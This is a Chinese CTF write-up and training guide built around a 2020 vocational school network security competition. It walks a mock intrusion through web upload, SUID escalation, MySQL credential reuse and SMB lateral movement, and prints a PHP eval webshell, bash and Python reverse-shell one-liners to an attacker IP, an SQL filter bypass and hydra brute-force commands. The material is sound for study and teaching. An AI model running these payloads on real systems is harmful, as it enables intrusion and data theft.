1. 项目概述:一次典型的中职网络安全国赛实战复盘
最近整理资料,翻到了2020年那场网络安全国赛中职组的正式赛题。虽然过去几年了,但里面的考点和设计思路,对于现在想入门CTF(Capture The Flag,夺旗赛)或者了解中职阶段网络安全教学重点的朋友来说,依然非常有参考价值。那次比赛,本质上是一场综合性的技能考核,它不像一些纯理论的考试,而是把选手扔进一个模拟的、存在多处漏洞的网络环境里,要求你像一名“白帽子”安全研究员一样,去发现漏洞、利用漏洞,最终找到隐藏的“Flag”(一串特定格式的字符串)。题目覆盖了Web渗透、系统提权、密码破解、流量分析、应急响应等多个维度,非常考验实操能力和知识面的广度。
我之所以觉得有必要拿出来聊聊,是因为我发现很多刚接触网络安全的新手,包括一些在校学生,往往对“学安全”感到迷茫,不知道从何下手,或者觉得那些漏洞原理离自己很远。而这套赛题,恰恰提供了一个绝佳的“切片样本”。通过拆解它,你不仅能看到一个完整的、贴近实战的渗透测试流程是如何串起来的,更能清晰地知道,在中职阶段,业界和教学体系认为哪些核心技能是必须掌握的。接下来,我就以参赛者和出题人的双重视角,带大家把这场比赛的精华部分重新走一遍,过程中我会补充大量当时解题的思考过程、用到的工具命令细节,以及那些容易踩坑的地方。
2. 赛题环境与核心考点解析
2.1 赛题场景与拓扑结构
当年的赛题通常以一个虚拟的企业或机构网络为背景。我记得其中一个典型的场景是“某公司内部办公系统存在安全隐患,请对其进行安全评估”。拓扑不会特别复杂,但层次清晰,一般会包含以下几个关键节点:
- 对外Web服务器:这是最主要的攻击入口。可能是一个公司的门户网站、OA系统或者某个业务应用。上面跑着诸如Apache、Nginx、Tomcat等服务,并部署了带有漏洞的Web应用。
- 内部服务器/数据库服务器:通常无法从互联网直接访问,需要先突破Web服务器,再通过它进行“内网渗透”或“跳板”才能触及。上面可能存放着关键数据(Flag)。
- 个人办公主机:模拟员工电脑,可能存在弱口令、未打补丁的漏洞或者不当共享,作为横向移动的跳板。
- 网络边界设备:可能暗示存在防火墙策略不当、路由问题等,但中职赛题中直接涉及复杂网络设备攻防的较少,更多是隐含在访问路径中。
整个渗透路径可以概括为:外网信息收集 -> Web漏洞利用获取Web服务器权限 -> 内网信息收集与横向移动 -> 攻陷数据库或内部服务器获取最终Flag。这个流程本身就是渗透测试标准流程(PTES)的简化体现。
2.2 核心技能考点分布
这套赛题几乎涵盖了中职网络安全教学大纲要求的核心技能点,我们可以将其归纳为以下几个模块:
2.2.1 Web安全漏洞这是重头戏,占比通常超过50%。必考和常考的漏洞类型包括:
- SQL注入(SQLi):尤其是联合查询注入、布尔盲注、时间盲注。考察点在于手工构造Payload绕过简单的过滤,以及使用
sqlmap等工具进行自动化检测。题目往往会设置一些障碍,比如过滤了空格、引号或关键词,需要选手用/**/、%0a、like、regexp等方式进行绕过。 - 文件上传漏洞:考察对上传文件类型、内容、路径的绕过。常见套路是前端JS验证、后端MIME类型检查、黑名单过滤(如禁止
.php,.asp)。解题思路可能是利用.php5,.phtml等特殊后缀、在文件内容头部添加图片魔数(如GIF89a)进行混淆、或者利用解析漏洞(如IIS6.0的*.asp;.jpg)。 - 命令执行(RCE)与代码执行:Web应用在调用系统命令或执行动态代码时,因未对用户输入做严格过滤而导致。比如PHP的
system(),exec(),passthru()函数,或者eval()函数。考点在于如何拼接出有效的系统命令,并利用管道符、反引号等获取回显或建立反向Shell。 - 目录遍历与文件包含:利用
../等路径穿越符号读取系统敏感文件(如/etc/passwd, 网站源码index.php),或者通过本地文件包含(LFI)配合日志文件、php://input等伪协议实现代码执行。 - 跨站脚本(XSS):虽然在中职赛题中直接盗取Cookie的题目较少,但可能会作为信息链的一环出现,比如反射型XSS用于钓鱼管理员,或者存储型XSS结合其他漏洞。
2.2.2 系统与服务安全
- 操作系统提权:在获得一个低权限Shell(如www-data用户)后,需要提升到root或系统管理员权限。考点包括:利用内核漏洞(如脏牛Dirty Cow)、SUID/SGID可执行文件滥用(如find、vim、nmap)、环境变量劫持、sudo权限配置错误、计划任务(crontab)等。
- 服务漏洞利用:针对FTP、SSH、SMB、RDP等服务的弱口令爆破或已知漏洞利用(如永恒之蓝MS17-010)。中职赛题中,弱口令爆破是高频考点。
- 中间件配置漏洞:Apache、Nginx、Tomcat的配置错误,例如目录列出、PUT方法启用导致任意文件上传、管理后台暴露且默认口令等。
2.2.3 密码学与隐写术
- 古典密码与现代编码:考察凯撒密码、栅栏密码、培根密码、摩斯电码、Base64/32/16编码、URL编码、HTML实体编码等的识别与解密。通常Flag会经过多层编码或加密隐藏。
- 文件隐写:将Flag信息隐藏在图片、音频、视频文件的元数据或通过LSB(最低有效位)隐写中。需要用到
binwalk、foremost、steghide(可能需要密码)、exiftool等工具进行分析和分离。 - 哈希破解:给出MD5、SHA1等哈希值,要求还原明文。通常密码不会太复杂,可能通过在线彩虹表或
hashcat、John the Ripper配合常用字典破解。
2.2.4 数字取证与流量分析
- 网络流量包(PCAP)分析:使用Wireshark打开提供的流量包文件,考察过滤HTTP流、追踪TCP流、分析DNS查询、提取传输的文件(如图片、木马)、发现异常连接或敏感信息泄露(如密码明文传输)。
- 系统日志分析:提供Web访问日志、系统认证日志等,要求从中发现攻击痕迹、定位攻击源IP、还原攻击者使用的Payload。
3. 典型赛题实战拆解与解题思路
我们虚拟一个融合了多个考点的综合题目,命名为“WebCMS管理后台漏洞利用与内网渗透”。假设目标IP是192.168.1.100。
3.1 第一阶段:信息收集与Web漏洞发现
拿到目标IP,第一步绝不是直接上扫描器乱轰。
3.1.1 基础信息收集
# 1. 使用nmap进行端口和服务探测,-sV尝试识别版本,-sC使用默认脚本扫描 nmap -sS -sV -sC -p- 192.168.1.100 -oA nmap_initial扫描结果假设显示开放了80端口(Apache httpd 2.4.38)、22端口(OpenSSH 7.9p1)、3306端口(MySQL)。
3.1.2 Web目录与敏感文件发现使用dirsearch或gobuster进行目录爆破:
dirsearch -u http://192.168.1.100 -e php,html,zip,bak,txt,json -x 403,404发现关键路径:/admin/(管理后台)、/upload/(上传目录)、/index.php?page=...(可能存在文件包含)。
访问/admin/,是一个登录页面。尝试弱口令(admin/admin, admin/123456)无果。查看页面源码,发现注释里提示:“ ”。尝试用test:test登录,成功进入后台。
注意:国赛题目中,这种“注释藏密码”的套路非常常见,一定要养成查看网页源码(Ctrl+U)的习惯,尤其是HTML注释、JS代码和隐藏表单域。
3.1.3 文件上传漏洞利用在后台找到一个“上传新闻图片”的功能。尝试上传一个简单的PHP Webshell文件shell.php:
<?php @eval($_POST['cmd']);?>前端提示“仅允许上传jpg, png格式文件”。这显然是前端JS验证。我们直接使用Burp Suite抓包,将上传文件的扩展名从.php改为.php.jpg,同时修改Content-Type为image/jpeg。发送请求后,返回了文件路径:/upload/shell.php.jpg。
直接访问http://192.168.1.100/upload/shell.php.jpg,发现代码没有被执行,服务器将其当作静态图片处理了。这里考察的是文件解析漏洞。我们需要猜测服务器端的解析逻辑。一种常见情况是Apache的配置问题,如果它设置了对.php后缀的解析,但对.php.jpg这样的文件,可能只认最后的后缀.jpg。
尝试另一种绕过方式:利用操作系统特性。在Linux下,文件名中的.和空格有特殊意义。我们上传文件名为shell.php.(末尾带点)或shell.php(末尾带空格),抓包后修改文件名。或者使用双写后缀shell.php.jpg.php。经过测试,上传shell.php.(点号)后,服务器保存的文件名自动去掉了末尾的点,变成了shell.php,访问成功,并可以用中国菜刀或蚁剑连接。
实操心得:文件上传漏洞的利用是一个“猜”和“试”的过程。要系统性地尝试各种绕过方法:修改扩展名、修改Content-Type、制作图片马、利用解析漏洞(IIS、Nginx、Apache特定版本)、利用
.htaccess或.user.ini文件等。准备好一个包含各种测试用例的清单非常重要。
3.2 第二阶段:权限获取与内网探索
通过Webshell,我们获得了www-data用户的权限。
3.2.1 建立稳定的反向ShellWebshell的交互性很差,我们需要一个更稳定的Shell。
- 在攻击机(Kali,假设IP为
192.168.1.50)上监听端口:nc -lvnp 4444 - 在Webshell中执行命令,发送反向连接:
# 使用bash bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' # 或者使用python(更可靠) python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.50",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
成功获得一个反向Shell。
3.2.2 系统信息收集
whoami && id # 查看当前用户 uname -a # 查看内核版本 cat /etc/issue # 查看系统版本 ps aux # 查看进程 netstat -antp # 查看网络连接 ifconfig 或 ip a # 查看内网IP发现当前主机内网IP是172.16.10.5,并且发现同一网段172.16.10.0/24内还有其他主机。
3.2.3 权限提升(提权)尝试查找SUID特权文件:
find / -perm -u=s -type f 2>/dev/null发现/usr/bin/find具有SUID权限。这是一个经典的提权点。我们可以利用find命令的-exec参数执行命令:
/usr/bin/find . -exec /bin/sh -p \; -quit执行后,whoami显示变为root,提权成功。
注意事项:提权是渗透测试中最需要谨慎的环节之一。在真实环境中,不当的提权操作可能造成系统崩溃或触发警报。在比赛中,通常考察的是对已知提权技术的应用。除了SUID,还要重点检查:sudo -l查看当前用户能以root身份运行哪些命令、内核漏洞(使用
searchsploit或linux-exploit-suggester脚本)、可写的计划任务、环境变量PATH劫持等。
3.3 第三阶段:内网横向移动与Flag获取
现在有了root权限,可以读取系统上的任何文件。首先寻找Flag。
# 在常见目录搜索包含“flag”或“key”的文件 find / -name "*flag*" -o -name "*key*" -o -name "*.txt" -type f 2>/dev/null | head -20 # 查看Web目录下的配置文件,寻找数据库密码 find /var/www/html -name "*.php" -type f -exec grep -l "mysql_connect\|mysqli\|PDO" {} \; cat /var/www/html/config.php假设在config.php中找到数据库密码:db_pass = "RedTeam!@#2020"。
3.3.1 数据库信息获取使用找到的密码连接MySQL数据库:
mysql -u root -p'RedTeam!@#2020'查看数据库和表:
show databases; use webcmsdb; show tables; select * from users; -- 可能找到管理员哈希密码 select * from flag_table; -- 假设Flag就在这里成功从flag_table中拿到第一个Flag:flag{Web_D4t4b4s3_3xfil_tr4c3}。
3.3.2 对内网其他主机进行探测从当前主机向同网段其他主机发起扫描:
# 使用nmap(如果已安装) nmap -sn 172.16.10.0/24 # 或者用简单的ping和端口扫描脚本 for i in {1..254}; do timeout 1 bash -c "ping -c 1 172.16.10.$i" &>/dev/null && echo "172.16.10.$i is up"; done发现主机172.16.10.10存活,且开放了445端口(SMB服务)。
3.3.3 利用SMB服务漏洞或弱口令尝试使用smbclient进行空会话连接和弱口令爆破:
smbclient -L //172.16.10.10 -N # 空会话列举共享 # 假设发现共享名“data” # 使用hydra进行密码爆破(需提前准备用户名字典和密码字典) hydra -L user.txt -P pass.txt smb://172.16.10.10假设爆破成功,得到凭证admin:Admin123。连接共享并查找Flag:
smbclient //172.16.10.10/data -U admin%Admin123 ls get final_flag.txt成功下载final_flag.txt,内容为最终Flag:flag{1ntr4n3t_L4t3r4l_M0v3m3nt_Succ3ss}。
4. 赛题中常见的“坑”与解题技巧实录
4.1 Web题目中的常见陷阱
- 过滤与绕过:题目经常不是简单的注入点。比如SQL注入过滤了
空格和=。这时要用/**/或%0a代替空格,用like或regexp代替=。如果过滤了select,可能要用大小写混淆SeLeCt或者用双重URL编码。 - 盲注的布尔判断:布尔盲注时,页面返回“用户存在”和“用户不存在”两种状态可能非常相似,需要仔细观察HTML源码的细微差别,或者用
length()函数判断返回内容长度差异更可靠。 - 文件包含的伪协议利用:遇到文件包含(LFI),不要只想着读取
/etc/passwd。要尝试使用php://filter/convert.base64-encode/resource=index.php来读取源码(得到的是base64编码,需要解码)。如果允许包含远程URL(RFI),且服务器出网,可以包含自己VPS上的Webshell。 - Cookie、Header处的注入:注入点不一定在URL参数或表单里,有时在
Cookie、User-Agent、X-Forwarded-For等HTTP头中。需要用Burp Suite等工具拦截请求并修改测试。
4.2 系统与密码学题目技巧
- 提权信息收集脚本:手工检查提权点效率低。可以上传或在线运行诸如
LinEnum.sh、linuxprivchecker.py这样的脚本,它们能自动化检查系统配置、SUID文件、sudo权限、计划任务、进程、网络连接等信息,快速定位突破口。 - 密码哈希识别与破解:拿到一个哈希串(如
5f4dcc3b5aa765d61d8327deb882cf99),先用hash-identifier工具识别其类型(这里是MD5)。对于简单密码,直接去cmd5.com等网站查询;复杂些的用hashcat,指定哈希类型和攻击模式(字典攻击-a 0或掩码攻击-a 3)。 - 隐写术多工具联合:一张图片可能用了多种隐藏手段。标准流程是:先用
file命令看文件类型;用exiftool看元数据;用strings看字符串;用binwalk -e分离内嵌文件;用steghide extract -sf picture.jpg(可能会询问密码,尝试空密码或常见密码)提取隐写数据;最后用zsteg检查PNG/BMP的LSB隐写。
4.3 流量分析与取证题目要点
- Wireshark过滤语法:这是基础也是关键。常用过滤:
http.request(所有HTTP请求)、tcp.stream eq X(追踪特定TCP流)、dns(DNS查询)、ftp(FTP流量)。通过“文件 -> 导出对象 -> HTTP”可以快速提取传输的文件。 - 寻找异常点:关注协议、端口、数据包大小的异常。例如,大量的DNS TXT查询可能用于数据外传(DNS隧道);ICMP包载荷过大可能用于ICMP隧道;一个HTTP POST请求的响应时间极长,可能是时间盲注的特征。
- 还原攻击链:题目往往给一个被攻击后的流量包,要求你还原攻击者做了什么。方法是:先过滤出攻击者IP(
ip.src == x.x.x.x)的所有流量,然后按时间顺序,结合HTTP请求和响应,一步步看其进行了哪些目录扫描、参数测试、上传文件、执行命令等操作。
5. 备赛训练与能力提升建议
如果你想针对此类比赛进行训练,或者想系统性地提升自己的网络安全实战能力,光看题解是不够的,必须动手。
5.1 搭建个人练习环境
- 虚拟机平台:VMware Workstation或VirtualBox。
- 攻击机:Kali Linux是标配,集成了几乎所有需要的工具。
- 靶机:
- 在线靶场:非常适合新手。推荐
DVWA、bWAPP、WebGoat,它们将漏洞按难度分级,并有详细教程。 - 综合渗透靶机:下载OVA镜像,如
Metasploitable2/3、VulnHub上的各类靶机、HackTheBox的退役机器(需要一定基础)。这些靶机环境更接近真实场景。 - CTF动态靶场:
CTFd平台可以自己部署,搭配CTF-Architecture这样的Docker化题目容器,能模拟比赛环境。
- 在线靶场:非常适合新手。推荐
5.2 工具链熟练度不要追求工具的数量,而要精通核心工具的使用和原理:
- 信息收集:
nmap(端口扫描)、dirsearch/gobuster(目录爆破)、whatweb(CMS识别)。 - 漏洞利用:
Burp Suite(HTTP代理/重放/爆破,核心中的核心)、sqlmap(SQL注入自动化)、Metasploit(漏洞利用框架)。 - 密码破解:
hashcat(GPU高速破解)、John the Ripper。 - 逆向与隐写:
binwalk、steghide、Wireshark。 - Shell管理:
Netcat(瑞士军刀)、Socat(增强版Netcat)、蚁剑/中国菜刀/Cobalt Strike(图形化Webshell管理)。
5.3 知识体系构建按照一个模块化的路线图学习:
- 网络基础:TCP/IP协议、HTTP/HTTPS协议、DNS原理。这是看懂一切的基础。
- 操作系统基础:Linux常用命令、文件系统结构、权限体系、进程管理。Windows的基本命令和体系也要了解。
- Web前端基础:HTML、JavaScript、Cookie/Session机制。至少能看懂基本的代码逻辑。
- 一门脚本语言:Python是首选,用于编写自动化脚本、漏洞利用POC、处理数据。Bash Shell脚本也必不可少。
- 漏洞原理深度学习:针对OWASP Top 10中的每一个漏洞,不仅要知道怎么利用工具,更要明白其产生的根本原因、代码层面的缺陷、各种防御和绕过手段。阅读漏洞分析文章和CVE细节。
5.4 模拟比赛与复盘
- 定期打CTF:参加
BugKu、CTFHub、攻防世界的线上赛,从新手入门题开始。 - 赛后复盘:无论做对做错,一定要看官方Writeup或其他选手的解题报告。对比自己的思路,差距在哪里?学到了什么新技巧?这个漏洞的变种还能怎么出?
- 组建团队:如果可以,找2-3个志同道合的朋友组队。分工合作(Web、逆向、密码、杂项),定期一起打比赛、讨论问题,进步速度远超一个人摸索。
这条路没有捷径,就是“理论 -> 靶场实践 -> 打比赛 -> 复盘总结”的不断循环。2020年的这套国赛题,就像一份经典的“病历”,通过解剖它,你学到了常见的“病症”(漏洞)和“治疗方法”(利用技巧)。但现实世界的网络环境千变万化,新的漏洞和防御技术不断涌现,唯有保持持续学习和动手实践的热情,才能在这条路上走得更远。